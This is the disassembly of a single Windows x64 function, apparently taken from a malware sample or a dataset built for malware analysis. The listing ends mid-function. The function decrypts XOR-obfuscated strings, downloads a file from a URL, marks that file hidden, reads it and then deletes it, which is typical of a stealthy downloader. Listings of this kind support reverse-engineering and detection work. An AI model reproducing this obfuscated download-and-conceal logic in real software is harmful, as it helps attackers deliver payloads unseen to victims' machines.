Function at 0x14004d4c0
Capabilities:
Delete file
Download url
Encode data using xor
Receive data
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x1400f9440]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov rdi, rcx
mov qword [rbp - 0x30], rcx
xor r14d, r14d
mov dword [rsp + 0x40], r14d
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], 0xf
mov byte [rcx], r14b
mov dword [rsp + 0x40], 1
movups xmm0, xmmword [0x1400e2958]
movups xmmword [rsp + 0x48], xmm0
movsd xmm0, qword [0x1400e2968]
movsd qword [rsp + 0x58], xmm0
mov eax, dword [0x1400e2970]
mov dword [rsp + 0x60], eax
movzx eax, byte [0x1400e2974]
mov byte [rsp + 0x64], al
mov r8d, r14d
mov esi, dword [0x1400f9488]
cmp esi, 2
jl 0x14004d687
movdqa xmm4, xmmword [0x1400e4980]
movdqa xmm3, xmmword [0x1400e4b30]
movdqa xmm5, xmmword [0x1400e49f0]
movdqa xmm0, xmmword [0x1400e4ab0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x4c]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmmword [0x1400e4a60]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmmword [0x1400e4a60]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14004d590
cmp r8d, 0x1d
jge 0x14004d6d3
movsxd rax, r8d
lea r9, [rsp + 0x48]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14004d6a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
lea rax, [rsp + 0x48]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14004d6f3
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x68]
call fcn.140039be0
lea r10, [rsp + 0x68]
movups xmm0, xmmword [str.__AF_r]
movzx eax, byte [0x1400e39b8]
movups xmmword [rbp - 0x78], xmm0
mov byte [rbp - 0x68], al
cmp qword [rbp - 0x80], 0xf
jbe 0x14004d732
mov r10, qword [rsp + 0x68]
mov r8d, r14d
cmp esi, 2
jl 0x14004d867
movdqa xmm4, xmmword [0x1400e4980]
movdqa xmm3, xmmword [0x1400e4b30]
movdqa xmm5, xmmword [0x1400e49f0]
movdqa xmm0, xmmword [0x1400e4ab0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x74]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmmword [0x1400e4a60]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmmword [0x1400e4a60]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14004d770
cmp r8d, 0x11
jge 0x14004d8b3
movsxd rax, r8d
lea r9, [rbp - 0x78]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14004d880
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, r10
lea rdx, [rbp - 0x78]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14004d906
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d901
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004eb8f
call fcn.14008a258
movups xmm0, xmmword [0x1400e2958]
movups xmmword [rsp + 0x48], xmm0
movsd xmm0, qword [0x1400e2968]
movsd qword [rsp + 0x58], xmm0
mov eax, dword [0x1400e2970]
mov dword [rsp + 0x60], eax
movzx eax, byte [0x1400e2974]
mov byte [rsp + 0x64], al
mov r8d, r14d
cmp esi, 2
jl 0x14004da67
movdqa xmm4, xmmword [0x1400e4980]
movdqa xmm3, xmmword [0x1400e4b30]
movdqa xmm5, xmmword [0x1400e49f0]
movdqa xmm0, xmmword [0x1400e4ab0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x4c]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmmword [0x1400e4a60]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmmword [0x1400e4a60]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14004d970
cmp r8d, 0x1d
jge 0x14004dab3
movsxd rax, r8d
lea r9, [rsp + 0x48]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14004da80
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
lea rax, [rsp + 0x48]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004dad0
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x68]
call fcn.140039be0
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rcx, qword [rsp + 0x68]
mov r15d, 2
mov edx, r15d
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14004db44
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004db3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004eb95
call fcn.14008a258
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x30]
call fcn.1400c1e40
movups xmm0, xmmword [0x1400e2958]
movups xmmword [rsp + 0x48], xmm0
movsd xmm0, qword [0x1400e2968]
movsd qword [rsp + 0x58], xmm0
mov eax, dword [0x1400e2970]
mov dword [rsp + 0x60], eax
movzx eax, byte [0x1400e2974]
mov byte [rsp + 0x64], al
mov r8d, r14d
cmp esi, r15d
jl 0x14004dcb7
movdqa xmm4, xmmword [0x1400e4980]
movdqa xmm3, xmmword [0x1400e4b30]
movdqa xmm5, xmmword [0x1400e49f0]
movdqa xmm0, xmmword [0x1400e4ab0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x4c]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmmword [0x1400e4a60]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmmword [0x1400e4a60]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14004dbc0
cmp r8d, 0x1d
jge 0x14004dd03
movsxd rax, r8d
lea r9, [rsp + 0x48]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14004dcd0
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea rax, [rsp + 0x48]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004dd20
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x78]
call fcn.140039be0
nop
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
mov r8d, 1
lea rcx, [rbp + 0x30]
call fcn.140043860
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], r12
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2c], edx
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14004ddb7
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ddb2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004eb9b
call fcn.14008a258
movdqa xmm0, xmmword [0x1400e4970]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
mov qword [rbp + 0x10], r14
lea r8, [rbp - 0x28]
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x18]
call fcn.140059780
nop
lea rcx, [rbp + 0x40]
call fcn.140043760
test rax, rax
jne 0x14004de1a
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0x78], 0
cmovne eax, r15d
or eax, dword [rbp + rcx + 0x40]
and eax, 0x17
mov dword [rbp + rcx + 0x40], eax
mov edx, dword [rbp + rcx + 0x44]
and edx, eax
jne 0x14004eba1
movups xmm0, xmmword [0x1400e2958]
movups xmmword [rsp + 0x48], xmm0
movsd xmm0, qword [0x1400e2968]
movsd qword [rsp + 0x58], xmm0
mov eax, dword [0x1400e2970]
mov dword [rsp + 0x60], eax
movzx eax, byte [0x1400e2974]
mov byte [rsp + 0x64], al
mov r8d, r14d
cmp esi, 2
jl 0x14004df87
movdqa xmm4, xmmword [0x1400e4980]
movdqa xmm3, xmmword [0x1400e4b30]
movdqa xmm5, xmmword [0x1400e49f0]
movdqa xmm0, xmmword [0x1400e4ab0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x4c]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmmword [0x1400e4a60]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmmword [0x1400e4a60]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14004de90
cmp r8d, 0x1d
jge 0x14004dfd3
movsxd rax, r8d
lea r9, [rsp + 0x48]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14004dfa0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
lea rax, [rsp + 0x48]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004dff0
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x68]
call fcn.140039be0
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14004e05b
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e056
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ebf3
call fcn.14008a258
movzx eax, word [0x1400e09d4]
mov word [rsp + 0x30], ax
cmp byte [0x1400e09d5], 0
je 0x14004e07a
mov byte [rsp + 0x30], 0xa
xor byte [rsp + 0x31], 0x34
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea rax, [rsp + 0x30]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14004e091
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x78]
call fcn.140039be0
nop
movzx eax, word [0x1400e3520]
mov word [rsp + 0x30], ax
movzx eax, byte [0x1400e3522]
mov byte [rsp + 0x30], 0x69
xor byte [rsp + 0x31], 0x34
xor al, 0x35
mov byte [rsp + 0x32], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r14
lea rax, [rsp + 0x30]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004e0f0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.140039be0
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x18]
call fcn.1400574c0
mov rcx, rax
lea rdx, [rbp - 0x58]
call fcn.140059880
nop
lea r9, [rbp - 0x78]
mov r8, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rsp + 0x68]
call fcn.14003b360
mov dword [rsp + 0x40], 5
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x78]
mov rcx, rdi
call fcn.1400397d0
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14004e19d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e197
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ebf9
call fcn.14008a258
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14004e1d8
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e1d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ebff
call fcn.14008a258
movdqa xmm0, xmmword [0x1400e4970]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14004e224
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e21f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ec05
call fcn.14008a258
movzx eax, word [0x1400e09d4]
mov word [rsp + 0x30], ax
cmp byte [0x1400e09d5], 0
je 0x14004e243
mov byte [rsp + 0x30], 0xa
xor byte [rsp + 0x31], 0x34
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea rax, [rsp + 0x30]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004e260
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x78]
call fcn.140039be0
nop
mov rax, qword [str.P__XCJ_:___QLL_]
mov qword [rsp + 0x30], rax
cmp byte [0x1400e3547], 0
je 0x14004e3d3
cmp esi, 2
jl 0x14004e389
movdqa xmm4, xmmword [0x1400e4b30]
movdqa xmm3, xmmword [0x1400e4980]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e49f0]
psubd xmm3, xmm0
andps xmm3, xmmword [0x1400e4a60]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
mov eax, dword [0x1400e4ab0]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x30]
xorps xmm3, xmm1
movd dword [rsp + 0x30], xmm3
movdqa xmm2, xmmword [0x1400e4990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e49f0]
psubd xmm2, xmm0
andps xmm2, xmmword [0x1400e4a60]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
jmp 0x14004e3d3
lea r9, [rsp + 0x30]
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14004e3a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r14
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004e3f0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.140039be0
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x18]
call fcn.1400574c0
mov rcx, rax
lea rdx, [rbp - 0x58]
call fcn.140059880
nop
lea r9, [rbp - 0x78]
mov r8, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rsp + 0x68]
call fcn.14003b360
mov dword [rsp + 0x40], 0xd
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x78]
mov rcx, rdi
call fcn.1400397d0
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14004e49d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e497
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ec0b
call fcn.14008a258
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14004e4d8
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e4d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ec11
call fcn.14008a258
movdqa xmm0, xmmword [0x1400e4970]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14004e524
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e51f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ec17
call fcn.14008a258
movzx eax, word [0x1400e09d4]
mov word [rsp + 0x30], ax
cmp byte [0x1400e09d5], 0
je 0x14004e543
mov byte [rsp + 0x30], 0xa
xor byte [rsp + 0x31], 0x34
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea rax, [rsp + 0x30]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004e560
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x78]
call fcn.140039be0
nop
mov eax, dword [str.P_AO7]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x1400e3268]
mov byte [rsp + 0x30], 0x63
xor byte [rsp + 0x31], 0x34
xor byte [rsp + 0x32], 0x35
xor byte [rsp + 0x33], 0x36
xor al, 0x37
mov byte [rsp + 0x34], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r14
lea rax, [rsp + 0x30]
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14004e5c0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.140039be0
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x18]
call fcn.1400574c0
mov rcx, rax
lea rdx, [rbp - 0x58]
call fcn.140059880
nop
lea r9, [rbp - 0x78]
mov r8, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rsp + 0x68]
call fcn.14003b360
mov dword [rsp + 0x40], 0x1d
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x78]
mov rcx, rdi
call fcn.1400397d0
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14004e66d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e667
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ec1d
call fcn.14008a258
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14004e6a8
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e6a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ec23
call fcn.14008a258
movdqa xmm0, xmmword [0x1400e4970]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14004e6f4
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e6ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ec29
call fcn.14008a258
movzx eax, word [0x1400e09d4]
mov word [rsp + 0x30], ax
